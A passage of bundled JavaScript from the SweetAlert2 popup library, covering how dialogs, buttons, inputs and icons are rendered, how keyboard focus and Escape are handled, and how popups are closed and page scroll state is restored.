  793. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  794. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  795. if (!params.toast) {
  796. popup.setAttribute("aria-modal", "true");
  797. }
  798. };
  799. const setupRTL = (targetElement) => {
  800. if (window.getComputedStyle(targetElement).direction === "rtl") {
  801. addClass(getContainer(), swalClasses.rtl);
  802. }
  803. };
  804. const init = (params) => {
  805. const oldContainerExisted = resetOldContainer();
  806. if (isNodeEnv()) {
  807. error("SweetAlert2 requires document to initialize");
  808. return;
  809. }
  810. const container = document.createElement("div");
  811. container.className = swalClasses.container;
  812. if (oldContainerExisted) {
  813. addClass(container, swalClasses["no-transition"]);
  814. }
  815. setInnerHtml(container, sweetHTML);
  816. const targetElement = getTarget(params.target);
  817. targetElement.appendChild(container);
  818. setupAccessibility(params);
  819. setupRTL(targetElement);
  820. addInputChangeListeners();
  821. };
  822. const parseHtmlToContainer = (param, target) => {
  823. if (param instanceof HTMLElement) {
  824. target.appendChild(param);
  825. } else if (typeof param === "object") {
  826. handleObject(param, target);
  827. } else if (param) {
  828. setInnerHtml(target, param);
  829. }
  830. };
  831. const handleObject = (param, target) => {
  832. if (param.jquery) {
  833. handleJqueryElem(target, param);
  834. } else {
  835. setInnerHtml(target, param.toString());
  836. }
  837. };
  838. const handleJqueryElem = (target, elem) => {
  839. target.textContent = "";
  840. if (0 in elem) {
  841. for (let i = 0; i in elem; i++) {
  842. target.appendChild(elem[i].cloneNode(true));
  843. }
  844. } else {
  845. target.appendChild(elem.cloneNode(true));
  846. }
  847. };
  848. const animationEndEvent = (() => {
  849. if (isNodeEnv()) {
  850. return false;
  851. }
  852. const testEl = document.createElement("div");
  853. const transEndEventNames = {
  854. WebkitAnimation: "webkitAnimationEnd",
  855. // Chrome, Safari and Opera
  856. animation: "animationend"
  857. // Standard syntax
  858. };
  859. for (const i in transEndEventNames) {
  860. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  861. return transEndEventNames[i];
  862. }
  863. }
  864. return false;
  865. })();
  866. const renderActions = (instance, params) => {
  867. const actions = getActions();
  868. const loader = getLoader();
  869. if (!actions || !loader) {
  870. return;
  871. }
  872. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  873. hide(actions);
  874. } else {
  875. show(actions);
  876. }
  877. applyCustomClass(actions, params, "actions");
  878. renderButtons(actions, loader, params);
  879. setInnerHtml(loader, params.loaderHtml || "");
  880. applyCustomClass(loader, params, "loader");
  881. };
  882. function renderButtons(actions, loader, params) {
  883. const confirmButton = getConfirmButton();
  884. const denyButton = getDenyButton();
  885. const cancelButton = getCancelButton();
  886. if (!confirmButton || !denyButton || !cancelButton) {
  887. return;
  888. }
  889. renderButton(confirmButton, "confirm", params);
  890. renderButton(denyButton, "deny", params);
  891. renderButton(cancelButton, "cancel", params);
  892. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  893. if (params.reverseButtons) {
  894. if (params.toast) {
  895. actions.insertBefore(cancelButton, confirmButton);
  896. actions.insertBefore(denyButton, confirmButton);
  897. } else {
  898. actions.insertBefore(cancelButton, loader);
  899. actions.insertBefore(denyButton, loader);
  900. actions.insertBefore(confirmButton, loader);
  901. }
  902. }
  903. }
  904. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  905. if (!params.buttonsStyling) {
  906. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  907. return;
  908. }
  909. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  910. if (params.confirmButtonColor) {
  911. confirmButton.style.backgroundColor = params.confirmButtonColor;
  912. addClass(confirmButton, swalClasses["default-outline"]);
  913. }
  914. if (params.denyButtonColor) {
  915. denyButton.style.backgroundColor = params.denyButtonColor;
  916. addClass(denyButton, swalClasses["default-outline"]);
  917. }
  918. if (params.cancelButtonColor) {
  919. cancelButton.style.backgroundColor = params.cancelButtonColor;
  920. addClass(cancelButton, swalClasses["default-outline"]);
  921. }
  922. }
  923. function renderButton(button, buttonType, params) {
  924. const buttonName = (
  925. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  926. capitalizeFirstLetter(buttonType)
  927. );
  928. toggle(button, params[`show${buttonName}Button`], "inline-block");
  929. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  930. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  931. button.className = swalClasses[buttonType];
  932. applyCustomClass(button, params, `${buttonType}Button`);
  933. }
  934. const renderCloseButton = (instance, params) => {
  935. const closeButton = getCloseButton();
  936. if (!closeButton) {
  937. return;
  938. }
  939. setInnerHtml(closeButton, params.closeButtonHtml || "");
  940. applyCustomClass(closeButton, params, "closeButton");
  941. toggle(closeButton, params.showCloseButton);
  942. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  943. };
  944. const renderContainer = (instance, params) => {
  945. const container = getContainer();
  946. if (!container) {
  947. return;
  948. }
  949. handleBackdropParam(container, params.backdrop);
  950. handlePositionParam(container, params.position);
  951. handleGrowParam(container, params.grow);
  952. applyCustomClass(container, params, "container");
  953. };
  954. function handleBackdropParam(container, backdrop) {
  955. if (typeof backdrop === "string") {
  956. container.style.background = backdrop;
  957. } else if (!backdrop) {
  958. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  959. }
  960. }
  961. function handlePositionParam(container, position) {
  962. if (!position) {
  963. return;
  964. }
  965. if (position in swalClasses) {
  966. addClass(container, swalClasses[position]);
  967. } else {
  968. warn('The "position" parameter is not valid, defaulting to "center"');
  969. addClass(container, swalClasses.center);
  970. }
  971. }
  972. function handleGrowParam(container, grow) {
  973. if (!grow) {
  974. return;
  975. }
  976. addClass(container, swalClasses[`grow-${grow}`]);
  977. }
  978. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  979. const renderInput = (instance, params) => {
  980. const popup = getPopup();
  981. const innerParams = privateProps.innerParams.get(instance);
  982. const rerender = !innerParams || params.input !== innerParams.input;
  983. inputClasses.forEach((inputClass) => {
  984. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  985. setAttributes(inputClass, params.inputAttributes);
  986. inputContainer.className = swalClasses[inputClass];
  987. if (rerender) {
  988. hide(inputContainer);
  989. }
  990. });
  991. if (params.input) {
  992. if (rerender) {
  993. showInput(params);
  994. }
  995. setCustomClass(params);
  996. }
  997. };
  998. const showInput = (params) => {
  999. if (!renderInputType[params.input]) {
  1000. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  1001. return;
  1002. }
  1003. const inputContainer = getInputContainer(params.input);
  1004. const input = renderInputType[params.input](inputContainer, params);
  1005. show(inputContainer);
  1006. if (params.inputAutoFocus) {
  1007. setTimeout(() => {
  1008. focusInput(input);
  1009. });
  1010. }
  1011. };
  1012. const removeAttributes = (input) => {
  1013. for (let i = 0; i < input.attributes.length; i++) {
  1014. const attrName = input.attributes[i].name;
  1015. if (!["id", "type", "value", "style"].includes(attrName)) {
  1016. input.removeAttribute(attrName);
  1017. }
  1018. }
  1019. };
  1020. const setAttributes = (inputClass, inputAttributes) => {
  1021. const input = getInput$1(getPopup(), inputClass);
  1022. if (!input) {
  1023. return;
  1024. }
  1025. removeAttributes(input);
  1026. for (const attr in inputAttributes) {
  1027. input.setAttribute(attr, inputAttributes[attr]);
  1028. }
  1029. };
  1030. const setCustomClass = (params) => {
  1031. const inputContainer = getInputContainer(params.input);
  1032. if (typeof params.customClass === "object") {
  1033. addClass(inputContainer, params.customClass.input);
  1034. }
  1035. };
  1036. const setInputPlaceholder = (input, params) => {
  1037. if (!input.placeholder || params.inputPlaceholder) {
  1038. input.placeholder = params.inputPlaceholder;
  1039. }
  1040. };
  1041. const setInputLabel = (input, prependTo, params) => {
  1042. if (params.inputLabel) {
  1043. const label = document.createElement("label");
  1044. const labelClass = swalClasses["input-label"];
  1045. label.setAttribute("for", input.id);
  1046. label.className = labelClass;
  1047. if (typeof params.customClass === "object") {
  1048. addClass(label, params.customClass.inputLabel);
  1049. }
  1050. label.innerText = params.inputLabel;
  1051. prependTo.insertAdjacentElement("beforebegin", label);
  1052. }
  1053. };
  1054. const getInputContainer = (inputType) => {
  1055. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1056. };
  1057. const checkAndSetInputValue = (input, inputValue) => {
  1058. if (["string", "number"].includes(typeof inputValue)) {
  1059. input.value = `${inputValue}`;
  1060. } else if (!isPromise(inputValue)) {
  1061. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1062. }
  1063. };
  1064. const renderInputType = {};
  1065. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1066. checkAndSetInputValue(input, params.inputValue);
  1067. setInputLabel(input, input, params);
  1068. setInputPlaceholder(input, params);
  1069. input.type = params.input;
  1070. return input;
  1071. };
  1072. renderInputType.file = (input, params) => {
  1073. setInputLabel(input, input, params);
  1074. setInputPlaceholder(input, params);
  1075. return input;
  1076. };
  1077. renderInputType.range = (range, params) => {
  1078. const rangeInput = range.querySelector("input");
  1079. const rangeOutput = range.querySelector("output");
  1080. checkAndSetInputValue(rangeInput, params.inputValue);
  1081. rangeInput.type = params.input;
  1082. checkAndSetInputValue(rangeOutput, params.inputValue);
  1083. setInputLabel(rangeInput, range, params);
  1084. return range;
  1085. };
  1086. renderInputType.select = (select, params) => {
  1087. select.textContent = "";
  1088. if (params.inputPlaceholder) {
  1089. const placeholder = document.createElement("option");
  1090. setInnerHtml(placeholder, params.inputPlaceholder);
  1091. placeholder.value = "";
  1092. placeholder.disabled = true;
  1093. placeholder.selected = true;
  1094. select.appendChild(placeholder);
  1095. }
  1096. setInputLabel(select, select, params);
  1097. return select;
  1098. };
  1099. renderInputType.radio = (radio) => {
  1100. radio.textContent = "";
  1101. return radio;
  1102. };
  1103. renderInputType.checkbox = (checkboxContainer, params) => {
  1104. const checkbox = getInput$1(getPopup(), "checkbox");
  1105. checkbox.value = "1";
  1106. checkbox.checked = Boolean(params.inputValue);
  1107. const label = checkboxContainer.querySelector("span");
  1108. setInnerHtml(label, params.inputPlaceholder);
  1109. return checkbox;
  1110. };
  1111. renderInputType.textarea = (textarea, params) => {
  1112. checkAndSetInputValue(textarea, params.inputValue);
  1113. setInputPlaceholder(textarea, params);
  1114. setInputLabel(textarea, textarea, params);
  1115. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1116. setTimeout(() => {
  1117. if ("MutationObserver" in window) {
  1118. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1119. const textareaResizeHandler = () => {
  1120. if (!document.body.contains(textarea)) {
  1121. return;
  1122. }
  1123. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1124. if (textareaWidth > initialPopupWidth) {
  1125. getPopup().style.width = `${textareaWidth}px`;
  1126. } else {
  1127. applyNumericalStyle(getPopup(), "width", params.width);
  1128. }
  1129. };
  1130. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1131. attributes: true,
  1132. attributeFilter: ["style"]
  1133. });
  1134. }
  1135. });
  1136. return textarea;
  1137. };
  1138. const renderContent = (instance, params) => {
  1139. const htmlContainer = getHtmlContainer();
  1140. if (!htmlContainer) {
  1141. return;
  1142. }
  1143. applyCustomClass(htmlContainer, params, "htmlContainer");
  1144. if (params.html) {
  1145. parseHtmlToContainer(params.html, htmlContainer);
  1146. show(htmlContainer, "block");
  1147. } else if (params.text) {
  1148. htmlContainer.textContent = params.text;
  1149. show(htmlContainer, "block");
  1150. } else {
  1151. hide(htmlContainer);
  1152. }
  1153. renderInput(instance, params);
  1154. };
  1155. const renderFooter = (instance, params) => {
  1156. const footer = getFooter();
  1157. if (!footer) {
  1158. return;
  1159. }
  1160. toggle(footer, params.footer);
  1161. if (params.footer) {
  1162. parseHtmlToContainer(params.footer, footer);
  1163. }
  1164. applyCustomClass(footer, params, "footer");
  1165. };
  1166. const renderIcon = (instance, params) => {
  1167. const innerParams = privateProps.innerParams.get(instance);
  1168. const icon = getIcon();
  1169. if (!icon) {
  1170. return;
  1171. }
  1172. if (innerParams && params.icon === innerParams.icon) {
  1173. setContent(icon, params);
  1174. applyStyles(icon, params);
  1175. return;
  1176. }
  1177. if (!params.icon && !params.iconHtml) {
  1178. hide(icon);
  1179. return;
  1180. }
  1181. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1182. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1183. hide(icon);
  1184. return;
  1185. }
  1186. show(icon);
  1187. setContent(icon, params);
  1188. applyStyles(icon, params);
  1189. addClass(icon, params.showClass && params.showClass.icon);
  1190. };
  1191. const applyStyles = (icon, params) => {
  1192. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1193. if (params.icon !== iconType) {
  1194. removeClass(icon, iconClassName);
  1195. }
  1196. }
  1197. addClass(icon, params.icon && iconTypes[params.icon]);
  1198. setColor(icon, params);
  1199. adjustSuccessIconBackgroundColor();
  1200. applyCustomClass(icon, params, "icon");
  1201. };
  1202. const adjustSuccessIconBackgroundColor = () => {
  1203. const popup = getPopup();
  1204. if (!popup) {
  1205. return;
  1206. }
  1207. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1208. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1209. for (let i = 0; i < successIconParts.length; i++) {
  1210. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1211. }
  1212. };
  1213. const successIconHtml = `
  1214. <div class="swal2-success-circular-line-left"></div>
  1215. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1216. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1217. <div class="swal2-success-circular-line-right"></div>
  1218. `;
  1219. const errorIconHtml = `
  1220. <span class="swal2-x-mark">
  1221. <span class="swal2-x-mark-line-left"></span>
  1222. <span class="swal2-x-mark-line-right"></span>
  1223. </span>
  1224. `;
  1225. const setContent = (icon, params) => {
  1226. if (!params.icon) {
  1227. return;
  1228. }
  1229. let oldContent = icon.innerHTML;
  1230. let newContent;
  1231. if (params.iconHtml) {
  1232. newContent = iconContent(params.iconHtml);
  1233. } else if (params.icon === "success") {
  1234. newContent = successIconHtml;
  1235. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1236. } else if (params.icon === "error") {
  1237. newContent = errorIconHtml;
  1238. } else {
  1239. const defaultIconHtml = {
  1240. question: "?",
  1241. warning: "!",
  1242. info: "i"
  1243. };
  1244. newContent = iconContent(defaultIconHtml[params.icon]);
  1245. }
  1246. if (oldContent.trim() !== newContent.trim()) {
  1247. setInnerHtml(icon, newContent);
  1248. }
  1249. };
  1250. const setColor = (icon, params) => {
  1251. if (!params.iconColor) {
  1252. return;
  1253. }
  1254. icon.style.color = params.iconColor;
  1255. icon.style.borderColor = params.iconColor;
  1256. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1257. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1258. }
  1259. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1260. };
  1261. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1262. const renderImage = (instance, params) => {
  1263. const image = getImage();
  1264. if (!image) {
  1265. return;
  1266. }
  1267. if (!params.imageUrl) {
  1268. hide(image);
  1269. return;
  1270. }
  1271. show(image, "");
  1272. image.setAttribute("src", params.imageUrl);
  1273. image.setAttribute("alt", params.imageAlt || "");
  1274. applyNumericalStyle(image, "width", params.imageWidth);
  1275. applyNumericalStyle(image, "height", params.imageHeight);
  1276. image.className = swalClasses.image;
  1277. applyCustomClass(image, params, "image");
  1278. };
  1279. const renderPopup = (instance, params) => {
  1280. const container = getContainer();
  1281. const popup = getPopup();
  1282. if (!container || !popup) {
  1283. return;
  1284. }
  1285. if (params.toast) {
  1286. applyNumericalStyle(container, "width", params.width);
  1287. popup.style.width = "100%";
  1288. const loader = getLoader();
  1289. loader && popup.insertBefore(loader, getIcon());
  1290. } else {
  1291. applyNumericalStyle(popup, "width", params.width);
  1292. }
  1293. applyNumericalStyle(popup, "padding", params.padding);
  1294. if (params.color) {
  1295. popup.style.color = params.color;
  1296. }
  1297. if (params.background) {
  1298. popup.style.background = params.background;
  1299. }
  1300. hide(getValidationMessage());
  1301. addClasses$1(popup, params);
  1302. };
  1303. const addClasses$1 = (popup, params) => {
  1304. const showClass = params.showClass || {};
  1305. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1306. if (params.toast) {
  1307. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1308. addClass(popup, swalClasses.toast);
  1309. } else {
  1310. addClass(popup, swalClasses.modal);
  1311. }
  1312. applyCustomClass(popup, params, "popup");
  1313. if (typeof params.customClass === "string") {
  1314. addClass(popup, params.customClass);
  1315. }
  1316. if (params.icon) {
  1317. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1318. }
  1319. };
  1320. const renderProgressSteps = (instance, params) => {
  1321. const progressStepsContainer = getProgressSteps();
  1322. if (!progressStepsContainer) {
  1323. return;
  1324. }
  1325. const {
  1326. progressSteps,
  1327. currentProgressStep
  1328. } = params;
  1329. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1330. hide(progressStepsContainer);
  1331. return;
  1332. }
  1333. show(progressStepsContainer);
  1334. progressStepsContainer.textContent = "";
  1335. if (currentProgressStep >= progressSteps.length) {
  1336. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1337. }
  1338. progressSteps.forEach((step, index) => {
  1339. const stepEl = createStepElement(step);
  1340. progressStepsContainer.appendChild(stepEl);
  1341. if (index === currentProgressStep) {
  1342. addClass(stepEl, swalClasses["active-progress-step"]);
  1343. }
  1344. if (index !== progressSteps.length - 1) {
  1345. const lineEl = createLineElement(params);
  1346. progressStepsContainer.appendChild(lineEl);
  1347. }
  1348. });
  1349. };
  1350. const createStepElement = (step) => {
  1351. const stepEl = document.createElement("li");
  1352. addClass(stepEl, swalClasses["progress-step"]);
  1353. setInnerHtml(stepEl, step);
  1354. return stepEl;
  1355. };
  1356. const createLineElement = (params) => {
  1357. const lineEl = document.createElement("li");
  1358. addClass(lineEl, swalClasses["progress-step-line"]);
  1359. if (params.progressStepsDistance) {
  1360. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1361. }
  1362. return lineEl;
  1363. };
  1364. const renderTitle = (instance, params) => {
  1365. const title = getTitle();
  1366. if (!title) {
  1367. return;
  1368. }
  1369. toggle(title, params.title || params.titleText, "block");
  1370. if (params.title) {
  1371. parseHtmlToContainer(params.title, title);
  1372. }
  1373. if (params.titleText) {
  1374. title.innerText = params.titleText;
  1375. }
  1376. applyCustomClass(title, params, "title");
  1377. };
  1378. const render = (instance, params) => {
  1379. renderPopup(instance, params);
  1380. renderContainer(instance, params);
  1381. renderProgressSteps(instance, params);
  1382. renderIcon(instance, params);
  1383. renderImage(instance, params);
  1384. renderTitle(instance, params);
  1385. renderCloseButton(instance, params);
  1386. renderContent(instance, params);
  1387. renderActions(instance, params);
  1388. renderFooter(instance, params);
  1389. const popup = getPopup();
  1390. if (typeof params.didRender === "function" && popup) {
  1391. params.didRender(popup);
  1392. }
  1393. };
  1394. const isVisible = () => {
  1395. return isVisible$1(getPopup());
  1396. };
  1397. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1398. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1399. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1400. const DismissReason = Object.freeze({
  1401. cancel: "cancel",
  1402. backdrop: "backdrop",
  1403. close: "close",
  1404. esc: "esc",
  1405. timer: "timer"
  1406. });
  1407. const removeKeydownHandler = (globalState2) => {
  1408. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1409. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1410. capture: globalState2.keydownListenerCapture
  1411. });
  1412. globalState2.keydownHandlerAdded = false;
  1413. }
  1414. };
  1415. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1416. removeKeydownHandler(globalState2);
  1417. if (!innerParams.toast) {
  1418. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1419. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1420. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1421. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1422. capture: globalState2.keydownListenerCapture
  1423. });
  1424. globalState2.keydownHandlerAdded = true;
  1425. }
  1426. };
  1427. const setFocus = (index, increment) => {
  1428. const focusableElements = getFocusableElements();
  1429. if (focusableElements.length) {
  1430. index = index + increment;
  1431. if (index === focusableElements.length) {
  1432. index = 0;
  1433. } else if (index === -1) {
  1434. index = focusableElements.length - 1;
  1435. }
  1436. focusableElements[index].focus();
  1437. return;
  1438. }
  1439. getPopup().focus();
  1440. };
  1441. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1442. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1443. const keydownHandler = (instance, event, dismissWith) => {
  1444. const innerParams = privateProps.innerParams.get(instance);
  1445. if (!innerParams) {
  1446. return;
  1447. }
  1448. if (event.isComposing || event.keyCode === 229) {
  1449. return;
  1450. }
  1451. if (innerParams.stopKeydownPropagation) {
  1452. event.stopPropagation();
  1453. }
  1454. if (event.key === "Enter") {
  1455. handleEnter(instance, event, innerParams);
  1456. } else if (event.key === "Tab") {
  1457. handleTab(event);
  1458. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1459. handleArrows(event.key);
  1460. } else if (event.key === "Escape") {
  1461. handleEsc(event, innerParams, dismissWith);
  1462. }
  1463. };
  1464. const handleEnter = (instance, event, innerParams) => {
  1465. if (!callIfFunction(innerParams.allowEnterKey)) {
  1466. return;
  1467. }
  1468. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1469. if (["textarea", "file"].includes(innerParams.input)) {
  1470. return;
  1471. }
  1472. clickConfirm();
  1473. event.preventDefault();
  1474. }
  1475. };
  1476. const handleTab = (event) => {
  1477. const targetElement = event.target;
  1478. const focusableElements = getFocusableElements();
  1479. let btnIndex = -1;
  1480. for (let i = 0; i < focusableElements.length; i++) {
  1481. if (targetElement === focusableElements[i]) {
  1482. btnIndex = i;
  1483. break;
  1484. }
  1485. }
  1486. if (!event.shiftKey) {
  1487. setFocus(btnIndex, 1);
  1488. } else {
  1489. setFocus(btnIndex, -1);
  1490. }
  1491. event.stopPropagation();
  1492. event.preventDefault();
  1493. };
  1494. const handleArrows = (key) => {
  1495. const confirmButton = getConfirmButton();
  1496. const denyButton = getDenyButton();
  1497. const cancelButton = getCancelButton();
  1498. const buttons = [confirmButton, denyButton, cancelButton];
  1499. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1500. return;
  1501. }
  1502. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1503. let buttonToFocus = document.activeElement;
  1504. for (let i = 0; i < getActions().children.length; i++) {
  1505. buttonToFocus = buttonToFocus[sibling];
  1506. if (!buttonToFocus) {
  1507. return;
  1508. }
  1509. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1510. break;
  1511. }
  1512. }
  1513. if (buttonToFocus instanceof HTMLButtonElement) {
  1514. buttonToFocus.focus();
  1515. }
  1516. };
  1517. const handleEsc = (event, innerParams, dismissWith) => {
  1518. if (callIfFunction(innerParams.allowEscapeKey)) {
  1519. event.preventDefault();
  1520. dismissWith(DismissReason.esc);
  1521. }
  1522. };
  1523. var privateMethods = {
  1524. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1525. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1526. };
  1527. const setAriaHidden = () => {
  1528. const bodyChildren = Array.from(document.body.children);
  1529. bodyChildren.forEach((el) => {
  1530. if (el === getContainer() || el.contains(getContainer())) {
  1531. return;
  1532. }
  1533. if (el.hasAttribute("aria-hidden")) {
  1534. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1535. }
  1536. el.setAttribute("aria-hidden", "true");
  1537. });
  1538. };
  1539. const unsetAriaHidden = () => {
  1540. const bodyChildren = Array.from(document.body.children);
  1541. bodyChildren.forEach((el) => {
  1542. if (el.hasAttribute("data-previous-aria-hidden")) {
  1543. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1544. el.removeAttribute("data-previous-aria-hidden");
  1545. } else {
  1546. el.removeAttribute("aria-hidden");
  1547. }
  1548. });
  1549. };
  1550. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1551. const iOSfix = () => {
  1552. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1553. const offset = document.body.scrollTop;
  1554. document.body.style.top = `${offset * -1}px`;
  1555. addClass(document.body, swalClasses.iosfix);
  1556. lockBodyScroll();
  1557. }
  1558. };
  1559. const lockBodyScroll = () => {
  1560. const container = getContainer();
  1561. let preventTouchMove;
  1562. container.ontouchstart = (event) => {
  1563. preventTouchMove = shouldPreventTouchMove(event);
  1564. };
  1565. container.ontouchmove = (event) => {
  1566. if (preventTouchMove) {
  1567. event.preventDefault();
  1568. event.stopPropagation();
  1569. }
  1570. };
  1571. };
  1572. const shouldPreventTouchMove = (event) => {
  1573. const target = event.target;
  1574. const container = getContainer();
  1575. if (isStylus(event) || isZoom(event)) {
  1576. return false;
  1577. }
  1578. if (target === container) {
  1579. return true;
  1580. }
  1581. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1582. target.tagName !== "TEXTAREA" && // #2266
  1583. !(isScrollable(getHtmlContainer()) && // #1944
  1584. getHtmlContainer().contains(target))) {
  1585. return true;
  1586. }
  1587. return false;
  1588. };
  1589. const isStylus = (event) => {
  1590. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1591. };
  1592. const isZoom = (event) => {
  1593. return event.touches && event.touches.length > 1;
  1594. };
  1595. const undoIOSfix = () => {
  1596. if (hasClass(document.body, swalClasses.iosfix)) {
  1597. const offset = parseInt(document.body.style.top, 10);
  1598. removeClass(document.body, swalClasses.iosfix);
  1599. document.body.style.top = "";
  1600. document.body.scrollTop = offset * -1;
  1601. }
  1602. };
  1603. const measureScrollbar = () => {
  1604. const scrollDiv = document.createElement("div");
  1605. scrollDiv.className = swalClasses["scrollbar-measure"];
  1606. document.body.appendChild(scrollDiv);
  1607. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1608. document.body.removeChild(scrollDiv);
  1609. return scrollbarWidth;
  1610. };
  1611. let previousBodyPadding = null;
  1612. const fixScrollbar = () => {
  1613. if (previousBodyPadding !== null) {
  1614. return;
  1615. }
  1616. if (document.body.scrollHeight > window.innerHeight) {
  1617. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1618. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1619. }
  1620. };
  1621. const undoScrollbar = () => {
  1622. if (previousBodyPadding !== null) {
  1623. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1624. previousBodyPadding = null;
  1625. }
  1626. };
  1627. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1628. if (isToast()) {
  1629. triggerDidCloseAndDispose(instance, didClose);
  1630. } else {
  1631. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1632. removeKeydownHandler(globalState);
  1633. }
  1634. if (isSafariOrIOS) {
  1635. container.setAttribute("style", "display:none !important");
  1636. container.removeAttribute("class");
  1637. container.innerHTML = "";
  1638. } else {
  1639. container.remove();
  1640. }
  1641. if (isModal()) {
  1642. undoScrollbar();
  1643. undoIOSfix();
  1644. unsetAriaHidden();
  1645. }
  1646. removeBodyClasses();
  1647. }
  1648. function removeBodyClasses() {
  1649. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1650. }
  1651. function close(resolveValue) {
  1652. resolveValue = prepareResolveValue(resolveValue);
  1653. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1654. const didClose = triggerClosePopup(this);
  1655. if (this.isAwaitingPromise) {
  1656. if (!resolveValue.isDismissed) {
  1657. handleAwaitingPromise(this);
  1658. swalPromiseResolve(resolveValue);
  1659. }
  1660. } else if (didClose) {
  1661. swalPromiseResolve(resolveValue);
  1662. }
  1663. }
  1664. const triggerClosePopup = (instance) => {
  1665. const popup = getPopup();
  1666. if (!popup) {
  1667. return false;
  1668. }
  1669. const innerParams = privateProps.innerParams.get(instance);
  1670. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1671. return false;
  1672. }
  1673. removeClass(popup, innerParams.showClass.popup);
  1674. addClass(popup, innerParams.hideClass.popup);
  1675. const backdrop = getContainer();
  1676. removeClass(backdrop, innerParams.showClass.backdrop);
  1677. addClass(backdrop, innerParams.hideClass.backdrop);
  1678. handlePopupAnimation(instance, popup, innerParams);
  1679. return true;
  1680. };
  1681. function rejectPromise(error2) {
  1682. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
